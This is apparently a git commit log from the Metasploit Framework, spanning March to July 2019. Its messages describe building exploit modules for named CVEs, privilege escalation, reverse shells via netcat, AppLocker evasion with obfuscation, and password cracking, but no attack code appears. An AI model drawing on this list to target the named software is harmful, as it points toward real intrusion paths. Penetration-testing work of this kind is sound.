Wietsman 71da3b7903 #12095 Added cleaning up of trial account and dropper files. 2019-07-21 03:21:15 +02:00
vitorespf d498eaceaf Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-20 01:17:55 -03:00
vitorespf bfa17a05b4 Update schneider_electric_net55xx_encoder.rb 2019-07-20 00:44:21 -03:00
vitorespf af7eba5828 Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-20 00:07:24 -03:00
vitorespf a70a74d480 Update schneider_electric_net55xx_encoder.rb 2019-07-19 23:41:31 -03:00
vitorespf 3c57741794 Update schneider_electric_net55xx_encoder.rb 2019-07-19 23:38:45 -03:00
vitorespf 836805b3cd Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 23:37:18 -03:00
vitorespf c0377c97c5 Update schneider_electric_net55xx_encoder.rb 2019-07-19 23:31:10 -03:00
William Vu 8ef76684ab Prefer Rex::Text.dehex over Rex::Text.hex_to_raw
The former allows character literals interleaved with escaped hex.
2019-07-19 18:06:59 -05:00
asoto-r7 4b27eddad2 Copy-pasta badness 2019-07-19 14:14:39 -05:00
asoto-r7 fe9efd5dac Added autoload entries for AsyncCallback 2019-07-19 14:04:38 -05:00
vitorespf e1e89882d6 Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 14:08:34 -03:00
vitorespf f1a6c0cc45 Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 14:08:09 -03:00
Green-m 07f3c074d4 Add doc and enhance the module. 2019-07-20 00:17:57 +08:00
vitorespf 68818aa4c7 Update schneider_electric_net55xx_encoder.rb 2019-07-19 10:30:05 -03:00
vitorespf 5732880db6 Update documentation/modules/exploit/unix/http/schneider_electric_net55xx_encoder.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 10:08:33 -03:00
vitorespf 460e83eb81 Update documentation/modules/exploit/unix/http/schneider_electric_net55xx_encoder.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 09:56:51 -03:00
vitorespf be791e551c Update documentation/modules/exploit/unix/http/schneider_electric_net55xx_encoder.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 09:56:33 -03:00
vitorespf ea3932e31b Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 09:55:19 -03:00
vitorespf 4a2388cad7 Update documentation/modules/exploit/unix/http/schneider_electric_net55xx_encoder.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 09:54:49 -03:00
vitorespf 5f3f6f5b3f Update documentation/modules/exploit/unix/http/schneider_electric_net55xx_encoder.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 09:54:34 -03:00
vitorespf 6f656e51c4 Add files via upload 2019-07-19 09:21:21 -03:00
Tim W b258b8270e fix #12104, add CVE-2019-13272 PTRACE_TRACEME linux local exploit 2019-07-19 13:24:13 +08:00
bwatters-r7 6be5067b6c Catch public branch up with private 2019-07-18 16:08:40 -05:00
bwatters-r7 b89df1b3eb Fix printing in session handler while I'm at it... 2019-07-18 15:53:05 -05:00
bwatters-r7 66ff0af096 delete extra file 2019-07-18 15:45:41 -05:00
bwatters-r7 91ffeaa354 Clean up debugging, move options to one place and delete superflous file
change the uuid handing to prevent changes to it when it gets put in payloads
2019-07-18 15:44:20 -05:00
Metasploit c0033987b0 Bump version of framework to 5.0.38 2019-07-18 10:04:30 -07:00
vitorespf 7a552369df Update schneider_electric_net55xx_encoder.rb 2019-07-18 10:40:31 -03:00
Wietsman e26b650f31 #12095 Fixed Password complexity generation
#12095 Fixed trial account creation
#12095 Fixed calling functions
2019-07-18 13:13:39 +02:00
Guillaume Andre 395e4d2424 Update documentation. Register options by alphabetical order.
Change-Id: I46bb3701107a504dddbf030e0345d7adc83bafac
2019-07-18 10:45:44 +01:00
Wietse Boonstra 2b7d6e07b1 #12095 Fixed issue with function naming.
Added random username and password generating
2019-07-18 10:54:12 +02:00
Shelby Pace 61d5be5981 add module skeleton and check 2019-07-17 15:51:11 -05:00
bwatters-r7 2ebc2c10aa Maybe include the super pingback type in the payloads? 2019-07-17 14:13:42 -05:00
bwatters-r7 f2ed823516 First stab at filtering payloads that require cleanup 2019-07-17 13:23:20 -05:00
Wietsman c28bff8435 #12095 Added documentation 2019-07-17 12:55:18 +02:00
Green-m b6697f5016 Add redis rce module and data stuff.
To do:
1. Check env of system and compiler.
2. Add a compiled so file to be compatible with windows and mac.
3. Add doc.
2019-07-17 15:33:02 +08:00
vitorespf 20e79e08dc Update schneider_electric_net55xx_encoder.rb 2019-07-16 22:26:18 -04:00
vitorespf 6f21abfe08 Update schneider_electric_net55xx_encoder.rb 2019-07-16 22:16:34 -04:00
vitorespf 6897d2ce17 Update schneider_electric_net55xx_encoder.rb 2019-07-16 22:03:46 -04:00
vitorespf 4ee745e21e Update schneider_electric_net55xx_encoder.rb 2019-07-16 21:52:28 -04:00
vitorespf c3fbd63654 Update schneider_electric_net55xx_encoder.rb 2019-07-16 21:45:06 -04:00
vitorespf 55cc66f893 Update schneider_electric_net55xx_encoder.rb
Breaking xmlPayload into multiple lines
2019-07-16 21:27:15 -04:00
h00die 08a0528d8a add aux file eater module 2019-07-16 20:52:00 -04:00
Wietsman 26c87b1869 Wrap to 80 columns 2019-07-17 00:21:21 +02:00
Wietsman 73c6a11ccb Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-16 22:38:58 +02:00
Wietsman 2d86312f6c Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-16 22:37:56 +02:00
Wietsman ac454d3044 Ahsay backup v7.x - v8.1.1.50 file upload 2019-07-16 16:10:13 +02:00
h00die fd628583fe crack module peer review 2019-07-15 19:57:39 -04:00
Metasploit 182c8a23f4 automatic module_metadata_base.json update 2019-07-15 09:40:43 -07:00
Wei Chen 27bb166938 Land #12011, Add module for cve-2018-8453 2019-07-15 11:31:07 -05:00
vitorespf 07834d7355 Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-07-15 12:00:24 -03:00
Metasploit 8ef4cca49f automatic module_metadata_base.json update 2019-07-15 07:52:11 -07:00
vitorespf 38f17b4062 Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-07-15 11:48:43 -03:00
vitorespf 10b402fd7b Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-07-15 11:47:45 -03:00
Jacob Robles 5c0bbbbaa0 Land #12070, Add module for CVE-2019-0841 2019-07-15 09:32:47 -05:00
yaumn e51138fa4b Establish a tcp connection to check for the exim version. 2019-07-13 22:45:21 +01:00
yaumn 764a4a0692 Improve check regex 2019-07-13 19:57:03 +01:00
yaumn e2a9907e99 Add SendExpectTimeout option 2019-07-13 19:55:12 +01:00
yaumn f465e43e34 Change tcp communication with meterpreter 2019-07-13 19:25:34 +01:00
Metasploit 5df104c2dc automatic module_metadata_base.json update 2019-07-12 18:39:54 -07:00
William Vu d1c6364d58 Land #12086, joomla_registration_privesc check fix 2019-07-12 20:31:19 -05:00
William Vu 501a9109a5 Fix and refactor check method 2019-07-12 20:29:43 -05:00
Pedro Ribeiro 18f76f00b5 Rename modules/exploit/multi/http/cisco_dcnm_upload_2019.rb to modules/exploits/multi/http/cisco_dcnm_upload_2019.rb 2019-07-12 22:02:05 +01:00
Pedro Ribeiro 7386e416e6 Update and rename cisco_dcnm_upload_2019.rb to modules/exploit/multi/http/cisco_dcnm_upload_2019.rb 2019-07-12 22:01:29 +01:00
William Vu 2bc2b88ee6 vprint and quotes 2019-07-12 14:37:34 -05:00
Adam Cammack ca2f86f633 Land #12087, Use shell for passthrough commands 2019-07-12 14:02:51 -05:00
William Vu 77c0dacba2 Restore unknown_command passthrough to the shell
This continues to prefer system over popen, but it restores the original
behavior of shelling out, allowing the use of shell metacharacters, etc.
2019-07-12 13:39:37 -05:00
William Vu be5f15a245 Add @h00die and @bcoles changes 2019-07-12 12:46:13 -05:00
William Vu a586fda620 Land #12031, Msf::Exploit::Remote::Tcp#shutdown 2019-07-12 12:26:25 -05:00
Metasploit a46670b4cb automatic module_metadata_base.json update 2019-07-12 07:46:12 -07:00
Jacob Robles de40b3e1c4 Land #12062, Add Laravel PHP RCE CVE-2018-15133 2019-07-12 09:28:33 -05:00
Jacob Robles 30d7c9427f Add CVE reference 2019-07-12 09:08:15 -05:00
Jacob Robles 0f76729108 Update doc 2019-07-12 08:17:17 -05:00
bcoles 645b9179a2 Add support for pubprn 2019-07-12 23:16:43 +10:00
Jacob Robles 73b1790472 Use include? method 2019-07-12 07:59:30 -05:00
Jacob Robles e84379cabe Refactor 2019-07-12 07:45:24 -05:00
Guillaume Andre 60dbbb0455 Ensure temp files are deleted in every case
Change-Id: I53401e4bcce887048f433743a965421f93d699ba
2019-07-12 12:20:37 +01:00
bwatters-r7 a280d00612 Follow acammack's guidance for excluding filedropped exploits
usage of pingback payloads
2019-07-11 17:13:31 -05:00
Patrick Webster f13378c503 Minor fix for aux joomla_registration_privesc
Module checks for version number. If disclosed, checks for vulnerable release ranges.
Missing a Safe retval for known immune numbers.
2019-07-12 06:37:08 +10:00
Metasploit 8c89c81525 automatic module_metadata_base.json update 2019-07-11 13:35:37 -07:00
asoto-r7 f13616843c Land #12041, Add Xymon useradm Command Execution module 2019-07-11 15:20:13 -05:00
Jeffrey Martin 60ffc3a954 Land #12085, Fix is_payload_compatible? for nil payloads 2019-07-11 14:30:47 -05:00
William Vu 502a26bcbd Fix is_payload_compatible? for nil payloads 2019-07-11 14:00:24 -05:00
vitorespf 925d894f22 Add files via upload 2019-07-11 14:10:37 -04:00
Metasploit e6766c23a5 Bump version of framework to 5.0.37 2019-07-11 10:04:09 -07:00
Guillaume Andre 642a71383d Classic shell exploit now uses a bash script
Change-Id: I770cf9bcae5c5a265c19f2dc9e4a512e30705b6c
2019-07-11 17:01:23 +01:00
Guillaume Andre 565e18cbe8 Add a few checks
Change-Id: Ieca129a54d2105bf646e6f848cb5ecec804c372f
2019-07-11 14:20:21 +01:00
Guillaume Andre 6b8ee4e4f9 Fix typo
Change-Id: Ibde0c547fda37c38118d54c8dc219763e6e32f1f
2019-07-11 13:54:31 +01:00
Guillaume Andre 8e57599b95 Update documentation
Change-Id: Iaaed3de37d244d7c9fc81bd6d99bc5e4de6b050f
2019-07-11 13:52:08 +01:00
Pedro Ribeiro fa75632c7e Update cisco_dcnm_upload_2019.rb
Co-Authored-By: @shellfail <jrobles@rapid7.com>
2019-07-11 12:11:27 +01:00
Pedro Ribeiro eebe13c1de Update cisco_dcnm_upload_2019.rb
Co-Authored-By: @shellfail <jrobles@rapid7.com>
2019-07-11 12:11:16 +01:00
yaumn 435240ed41 Update modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-10 17:24:48 +01:00
yaumn 074c73236a Update modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-10 17:24:32 +01:00
yaumn 7812e0037b Update modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-10 17:24:13 +01:00
yaumn af89433c1d Update modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-10 17:23:50 +01:00
yaumn 9ffbfe0985 Update modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-10 17:23:38 +01:00
yaumn a06dffa174 Update modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-10 17:22:52 +01:00
yaumn f1eda91003 Update documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-10 17:22:38 +01:00
yaumn 8b54d0669d Update documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-10 17:22:26 +01:00
Guillaume Andre df28038279 Update documentation
Change-Id: I68d9e08695ed7cf0476d70030c1ff44c770c425b
2019-07-10 11:42:02 +01:00
Guillaume Andre 5d52b0326b Add better checks at the beginning of the exploit.
Change-Id: Ib80907f03f15b6c0cf32b48f059cf042e4d6a91f
2019-07-10 11:33:09 +01:00
Pedro Ribeiro 54b6e489a8 Add full disc link 2019-07-10 01:03:01 +01:00
Pedro Ribeiro 54f98cbdc3 Add full disc link 2019-07-10 01:02:41 +01:00
Shelby Pace 70d67f1dbb merged write_to_disk and load_dll_with_diaghub 2019-07-09 11:39:38 -05:00
Shelby Pace 86d0d1d153 remove validate_target 2019-07-09 10:52:02 -05:00
Guillaume Andre b68383141c Added Qualys and dhn to credits. Set suid bit of payload instead of shell launcher. Print detected exim version
Change-Id: I61805a4d2b6f7f8a268b677c3c6f1d76ada034da
2019-07-09 16:51:14 +01:00
Shelby Pace f7aa6d79d7 Update modules/exploits/windows/local/appxsvc_hard_link_privesc.rb
Co-Authored-By: @shellfail <jrobles@rapid7.com>
2019-07-09 10:47:57 -05:00
Shelby Pace c647d0ba52 made suggested change to write_payload 2019-07-09 10:46:46 -05:00
Shelby Pace 096857d1ad swap check codes 2019-07-09 10:01:49 -05:00
Shelby Pace f7c252eef3 move source to external/source directory 2019-07-09 09:08:28 -05:00
Jacob Robles a55aea33a9 Add cve-2018-8453 exploit module 2019-07-09 07:15:13 -05:00
Shelby Pace ccdb7ba262 remove unused variable 2019-07-08 12:57:47 -05:00
Shelby Pace f0f1a41ba5 add documentation and module 2019-07-08 12:49:22 -05:00
h00die b7df6c1272 juniper cisco local config eaters 2019-07-07 21:49:48 -04:00
Patrick Webster 163e85bad9 fail Spaces at EOL is effing stupid unless the line is exponentiall^y long. 2019-07-08 11:36:49 +10:00
Patrick Webster a9ecef74fd Guessing build fail must be this. 2019-07-08 09:30:52 +10:00
Patrick Webster 5a035aaf7c Owch fix syntax. 2019-07-08 09:18:39 +10:00
yaumn df46faf71f Finish documentation. Exploit is stable. 2019-07-07 23:58:29 +01:00
Patrick Webster 691c606c53 Also some bare POSTs work. 2019-07-08 05:13:38 +10:00
Patrick Webster a9791fad74 Added Lavarel PHP exploit module with fixes. 2019-07-08 00:50:13 +10:00
yaumn 7b2a1b67ed Add a documentation file 2019-07-07 00:25:54 +01:00
Pedro Ribeiro 0f32f03dfd Update cisco_dcnm_download.rb 2019-07-06 23:15:19 +08:00
Pedro Ribeiro 691dfeaf00 Add files via upload 2019-07-06 22:58:49 +08:00
Pedro Ribeiro 9465a3c143 Delete cisco_dcnm_download.rb 2019-07-06 22:58:28 +08:00
Pedro Ribeiro f45ad6f30a add exploit for CVE-2019-1621 2019-07-06 22:56:12 +08:00
Pedro Ribeiro a33a981cdd Add exploit for CVE-2019-1619 2019-07-06 22:51:42 +08:00
Pedro Ribeiro c8419d9975 Merge pull request #9 from rapid7/master
aaa
2019-07-06 22:50:12 +08:00
yaumn a5843e48a9 Basic reverse shell does not disconnect anymore 2019-07-06 00:53:33 +01:00
Guillaume Andre 4c2cacd7d6 Add meterpreter support 2019-07-05 16:53:39 +01:00
yaumn 2c8ad0e357 First tests with meterpreter sockets 2019-07-05 01:04:15 +01:00
yaumn 74eb74e606 Pipe method with netcat now works 2019-07-04 23:15:23 +01:00
h00die 0d1385d8d5 Merge pull request #12 from jrobles-r7/tika
Tika module updates, check and CmdStager
2019-07-04 13:38:29 -04:00
Guillaume Andre e4c27d3eab Clean pipe file
Change-Id: Ibc78639ad44eb56ffa26fcfb4f656b5a78dbf76a
2019-07-04 16:20:13 +01:00
Guillaume Andre 3c0b581371 Clean code
Change-Id: I83287dcd52c4ba566396a0ff7e4f3c3125d12bb0
2019-07-04 16:16:27 +01:00
Guillaume Andre 9b378ceb71 Add options. Add pipe netcat method
Change-Id: I0c401add1c2ff76e3e2c3d82a8fb7f74db405a1f
2019-07-04 15:02:03 +01:00
yaumn bddfef0cac Add options. Exploits now works with both setuid and nc methods 2019-07-04 00:16:28 +01:00
Shelby Pace c69799262d fixed issue with hard link exe 2019-07-03 15:44:00 -05:00
Shelby Pace a83812ad55 add source code, compiled exe for diaghub loading 2019-07-03 14:32:22 -05:00
Guillaume Andre a8e4510f53 Merge branch 'exim4-priv-esc' of github.com:yaumn/metasploit-framework into exim4-priv-esc
Change-Id: I6f14e91da0bc4bf692acaed1759540f4b5b5f908
2019-07-03 14:34:11 +01:00
yaumn bb58160d10 Exploits now also works with netcat 2019-07-03 14:30:23 +01:00
yaumn 4f1d9af5fd Add netcat method (still buggy though) 2019-07-03 14:30:23 +01:00
Guillaume Andre a2411a1d63 First version of the exploit is now working
Change-Id: Idf6b6d773cf71c477fe68885313f5f98d74d9c11
2019-07-03 14:30:23 +01:00
Guillaume Andre bef6425d0e First commit
Change-Id: If751eb1753fc8991fe7971c7123a203734396a46
2019-07-03 14:30:23 +01:00
Brendan Coles cd1669f2b2 Use identify_hash for creds 2019-07-03 08:33:26 +00:00
Brendan Coles a0538a9613 Add Xymon useradm Command Execution module 2019-07-02 14:04:07 +00:00
Brendan Coles 14552a7332 Update documentation 2019-07-02 13:58:19 +00:00
Brendan Coles 9539408e33 Add support for retrieving xymonpasswd 2019-07-01 10:51:34 +00:00
O . S . O 51fe61838d Create xor_context.rb 2019-07-01 10:36:08 +02:00
Brendan Coles f630350b1f Add documentation 2019-06-30 04:09:54 +00:00
Brendan Coles 1a7fb79cfc Add config retrieval 2019-06-30 04:03:17 +00:00
bcoles 82b583b2b5 Use symbolic args 2019-06-30 12:31:29 +10:00
Brendan Coles a4da66fabe Add Xymon Daemon Gather Client Host Information module 2019-06-29 16:48:39 +00:00
Brendan Coles b71fe69c16 Add shutdown method to Exploit::Remote::Tcp 2019-06-29 16:42:08 +00:00
asoto-r7 dd3db07b17 Correctly fixed json_to_mdm_object (thanks @mkienow-r7 for the catch)! 2019-06-28 12:53:04 -05:00
asoto-r7 45c8c04834 Updated json_to_mdm_object() calls, removing third parameter 2019-06-28 10:18:00 -05:00
asoto-r7 8d63d2bbf7 pingback: Removing seemingly unnecessary 'generate_raw' method 2019-06-27 16:02:00 -05:00
asoto-r7 229e46f8cb cmd/unix/pingback_bind: Add resiliency to netcat, per wvu's suggestion 2019-06-27 15:48:22 -05:00
asoto-r7 ac835e139e Pingback: Addressed some comments and suggestions 2019-06-26 16:55:45 -05:00
Shelby Pace 258f631f84 remove echo cmdstagerflavor 2019-06-26 13:56:13 -05:00
Shelby Pace 2f29c914ab add changes, remove db backup delete code 2019-06-26 13:48:14 -05:00
Jacob Robles efc61a4934 Use cmdstager 2019-06-26 10:15:25 -05:00
Jacob Robles 7c3e566a23 Update check
Handle nil error code and fix version extraction based
on both of the possible Apache Tika return pages.
2019-06-26 10:15:25 -05:00
Quentin Kaiser 94dd2b1800 Fix disclosure date format.
Co-Authored-By: @shellfail <jrobles@rapid7.com>
2019-06-25 20:50:56 +02:00
Quentin Kaiser 5ca4163765 Fix documentation markup and titles. 2019-06-25 20:50:09 +02:00
Shelby Pace 2af76c1997 add documentation and finished module 2019-06-25 11:21:15 -05:00
yaumn 9e056601eb Exploits now also works with netcat 2019-06-24 08:11:13 +01:00
Shelby Pace 54aff89563 add requests to create, remove, clean db backups 2019-06-21 16:00:56 -05:00
yaumn 6b39bec4fc Add netcat method (still buggy though) 2019-06-20 23:21:19 +01:00
Shelby Pace e43fc2d921 added skeleton, check method 2019-06-20 14:05:41 -05:00
Guillaume Andre c8786e181f First version of the exploit is now working
Change-Id: Idf6b6d773cf71c477fe68885313f5f98d74d9c11
2019-06-20 16:53:43 +01:00
NickTyrer 5a010e1446 update documentation 2019-06-20 16:07:25 +01:00
Guillaume Andre c1cf728507 First commit
Change-Id: If751eb1753fc8991fe7971c7123a203734396a46
2019-06-20 12:17:38 +01:00
Tim W 809a990ab8 add mouse doubleclick 2019-06-20 15:21:41 +08:00
Tim W 48d29e532e add keyevent api 2019-06-20 13:54:13 +08:00
Shelby Pace d818a27a7c added check, path for diaghub exploit 2019-06-19 16:14:02 -05:00
Shelby Pace d3cd1a3fa0 added VS2013 compiled executables 2019-06-19 15:19:00 -05:00
NickTyrer 791da38fe4 update instructions 2019-06-16 11:39:03 +01:00
NickTyrer b7137ea426 update module flow 2019-06-15 20:03:17 +01:00
NickTyrer 46ebae8231 implemented rubocop suggestions 2019-06-15 11:06:38 +01:00
bwatters-r7 805d64428f Stupid pry... 2019-06-13 10:27:29 -05:00
bwatters-r7 a11d6221d9 Update the session to die after callback
Remove stale old file
2019-06-13 09:08:14 -05:00
asoto-r7 6f65f38943 Revert f162822 2019-06-11 13:23:58 -05:00
bwatters-r7 915149ad6d Reset send_uuid because it should not have been changed
remove debug print from options
change puts on pingback
2019-06-10 15:03:49 -05:00
h00die bd58fdf77a remove ssh.rb from change 2019-06-09 15:11:07 -04:00
h00die 4d60f38177 brocade working 2019-06-09 15:10:05 -04:00
h00die cf90f8250d reimport brocade module 2019-06-09 15:09:06 -04:00
NickTyrer 45db30bd90 increase randomness to avoid duplicates 2019-06-07 15:02:47 +01:00
Shelby Pace 5b188a02ba add code that makes hard links 2019-06-06 15:59:53 -05:00
Shelby Pace 76ef689827 add hard link creation code 2019-06-06 15:58:44 -05:00
asoto-r7 6d155a8573 Remove a left-over 'pry' debugger invocation 2019-06-04 17:52:03 -05:00
bwatters-r7 e8487b547f Should not have changed reverse_tcp.rb 2019-06-04 16:01:45 -05:00
asoto-r7 928e4679ae cmd/unix/pingback_* payloads now use 'printf' in place of 'echo' 2019-06-04 15:47:21 -05:00
asoto-r7 e9ef0b1c38 Remove workspace reference in async_callback database table 2019-06-04 15:12:31 -05:00
h00die 65a87b88ab modify creds command to truncate long hashes 2019-06-02 21:38:41 -04:00
h00die 3589c4f4c7 avoid cracking hashes already cracked 2019-06-02 21:14:02 -04:00
bwatters-r7 1ed6187212 Undo changes to windows/bind_tcp 2019-05-31 18:47:54 -05:00
h00die b26c5c63e2 add webapp and complete docs 2019-05-31 19:11:01 -04:00
h00die 65536034b2 overhaul when things run 2019-05-31 17:13:34 -04:00
h00die 2cccd50160 creds command working
debuggin hashcat aix

remove word normal

get hashcat working on aix

add deprecated jtr_aix

prettying up crack_aix

custom wordlists should include the words themselves

make format transparent to user

aix cleanup, linux working

linux working, database in progress

crack databases working

crack windows working

spaces at eol

spec updates

spec updates

spec working

add version detection

crack_aix fixes and docs

refactoring crack modules

fix syntax error

docs for crackers

markup touchups

osx cracker

jenkins

fix jenkins

remove crypt fix osx for 10.7

doc fixes and osx sha512
2019-05-31 12:18:25 -04:00
bwatters-r7 d5198069ff Stupid last trailing space 2019-05-30 16:45:08 -05:00
bwatters-r7 b7da6c4492 Fix some spacing 2019-05-30 16:09:33 -05:00
bwatters-r7 11be752a2f Reset changes to Gemfile.lock 2019-05-30 14:30:12 -05:00
bwatters-r7 2f92d0f8a2 Shut up, nmsftidy.... I hope 2019-05-30 14:27:37 -05:00
bwatters-r7 139ea45dae Hold off on venom changes for a new PR 2019-05-30 14:19:17 -05:00
bwatters-r7 e3c85425ee Add the new file 2019-05-30 11:41:04 -05:00
bwatters-r7 b81001d486 Code deduplication 2019-05-30 11:40:57 -05:00
asoto-r7 22ad4dbf95 WIP: Adding default pingback payload to parent check method 2019-05-30 11:40:57 -05:00
asoto-r7 45197cf4ab Clean up requires and includes 2019-05-30 11:40:57 -05:00
asoto-r7 f118af18ea Clean up require's and calculate CachedSize 2019-05-30 11:40:57 -05:00
asoto-r7 f3cf6e8159 cmd/unix/pingback_reverse and cmd/unix/pingback_bind 2019-05-30 11:40:56 -05:00
bwatters-r7 2469d9e010 That's better..... 2019-05-30 11:40:56 -05:00
bwatters-r7 f8492c8b0b First swing at x86 windows reverse_tcp pingback
Still issues with the looping and counters.
2019-05-30 11:40:56 -05:00
bwatters-r7 a9e1bac5fb Remove extra stuff that was part of the staged attempt at pingback.
It is no longer required because pingback is now a single.
2019-05-30 11:40:54 -05:00
asoto-r7 4092221ca9 Ruby pingback payload (bind and reverse) 2019-05-30 11:40:09 -05:00
asoto-r7 920b034b03 Python pingback payload (reverse only) 2019-05-30 11:40:08 -05:00
asoto-r7 2184ad35b7 python pingback_bind_tcp: send UUID as raw bytes instead of ASCII 2019-05-30 11:40:08 -05:00
asoto-r7 0bcb94f989 Remove 'workspace' option from Mdm::Payload.create 2019-05-30 11:40:08 -05:00
asoto-r7 ce0525cb11 Update metasploit_data_models from 3.0.8 to 3.0.10 2019-05-30 11:40:05 -05:00
asoto-r7 27c41a165a Python pingback payload (bind only) 2019-05-30 11:38:47 -05:00
asoto-r7 ec01713d7e Linux pingback payloads 2019-05-30 11:38:47 -05:00
Aaron Soto c89fd1cc3f Add error handling for users without a database configured 2019-05-30 11:38:46 -05:00
Aaron Soto 6ac80d0f5a Enable database support in msfvenom to allow for saving UUIDs 2019-05-30 11:38:46 -05:00
Aaron Soto e83bdf7c7e Record UUID upon pingback_reverse_tcp generation and callback 2019-05-30 11:38:46 -05:00
Aaron Soto a61dd66d95 Record UUID upon reverse_tcp_pingback generation and callback 2019-05-30 11:38:40 -05:00
bwatters-r7 b12128a8d0 Fix odd edge case converting binary to hex string 2019-05-30 11:37:34 -05:00
bwatters-r7 1ab0a04f60 Use nonvolitile register for the counter
Change option name to match convention
2019-05-30 11:37:33 -05:00
bwatters-r7 b818d6d9d3 Updated to have a handler 2019-05-30 11:37:33 -05:00
bwatters-r7 a2f55947e6 Add support for pingback as a single and session... 2019-05-30 11:37:33 -05:00
bwatters-r7 e233ee38ea Let's try it as a single this time.... 2019-05-30 11:34:06 -05:00
bwatters-r7 c9c78ba707 Add new files 2019-05-30 11:34:06 -05:00
bwatters-r7 bd65f81627 Add pingback changes 2019-05-30 11:33:46 -05:00
bwatters-r7 535dc343b9 Maybe stage the new files, too 2019-05-30 11:30:55 -05:00
Aaron Soto e1271317ac REST API for async-callbacks, removed array datatypes, cleaned up Swagger 2019-05-30 11:30:55 -05:00
Aaron Soto afddfff3be WIP: REST API for async-callbacks, added UUID search 2019-05-30 11:30:55 -05:00
Aaron Soto 84acf0d09d WIP: Remove PUT and DELETE endpoints 2019-05-30 11:30:55 -05:00
Aaron Soto 86c054c5e3 Bring pingback-payload changes into public framework 2019-05-30 11:30:19 -05:00
Aaron Soto 85d35e6c87 WIP: REST API for async-callbacks 2019-05-30 11:25:48 -05:00
bcoles ca8c72d586 Fix abrt package version check 2019-05-30 04:24:53 +10:00
NickTyrer 4a359f5f5e format 2019-05-27 21:19:10 +01:00
NickTyrer a3b22cbec4 fix formatting 2019-05-27 18:04:24 +01:00
NickTyrer 4487ae7ad3 fix formatting 2019-05-27 18:01:40 +01:00
NickTyrer 73f234a48a address documentation issues raised by @cbrnrd 2019-05-27 17:55:58 +01:00
NickTyrer 894d817fd1 updated instructions function 2019-05-27 16:58:16 +01:00
NickTyrer ab20c24340 fix setting mod variables 2019-05-27 16:34:53 +01:00
NickTyrer b7221a65a1 addressed issues raised by @cbrnrd 2019-05-26 22:18:43 +01:00
NickTyrer f6eeb7b4b1 fix typo 2019-05-23 20:35:29 +01:00
NickTyrer 9a6d56a8de fix typo 2019-05-23 20:29:11 +01:00
NickTyrer f023fb9525 add further obfuscation 2019-05-02 08:39:35 +01:00
NickTyrer 38256a18bd added further obfuscation to module 2019-05-01 17:05:40 +01:00
Brendan Coles f11ce8635f Add ptrace Sudo Token Privilege Escalation module 2019-04-30 21:54:18 +00:00
NickTyrer ee7ef7ad4e fix typo 2019-04-29 22:23:49 +01:00
Mike Menasi 487714b98e add new evasion module applocker_evasion_install_util 2019-04-29 21:34:56 +01:00
bcoles ba03a0c9eb Remove unused variable 2019-04-20 21:41:25 +10:00
Brendan Coles a5b894dca3 Add sosreport-rhel7.py 2019-04-20 11:56:01 +00:00
Brendan Coles e714f9028e Add ABRT sosreport Privilege Escalation module 2019-04-20 11:48:52 +00:00
h00die ff5b790028 apache tika exploit msftidy 2019-03-28 22:07:01 -04:00
h00die dc33998374 apache tika exploit 2019-03-28 22:05:05 -04:00
Quentin Kaiser e2101c7931 Fix module so it supports both ARCH_CMD and ARCH_ARMLE. 2019-03-28 19:50:26 +01:00
Quentin Kaiser 8ec5a124b4 Follow @bcoles recommendations for 'check' function. 2019-03-28 15:59:22 +01:00
Quentin Kaiser 92e4393025 Update documentation to reflect usage of CmdStager. 2019-03-28 11:09:39 +01:00
Quentin Kaiser cbcc2f2088 Moved to Cmdstager. 2019-03-28 11:03:01 +01:00
Quentin Kaiser a9fcd13257 Removed unnecessary includes. 2019-03-28 10:53:07 +01:00
Quentin Kaiser 1a564a6f70 Uppercase words. 2019-03-28 10:49:10 +01:00
Quentin Kaiser 7794cc0234 No need for parenthesis. 2019-03-28 10:48:38 +01:00
Quentin Kaiser fbaebc14be Shrink to oneliner. 2019-03-28 10:45:17 +01:00
Quentin Kaiser cef8dc2fa2 << is preferred. 2019-03-28 10:42:33 +01:00
Quentin Kaiser de6f49305c Correct disclosure date format. 2019-03-27 14:22:37 +01:00
Quentin Kaiser 6fde3ea566 These files have nothing to do here. 2019-03-27 14:20:34 +01:00
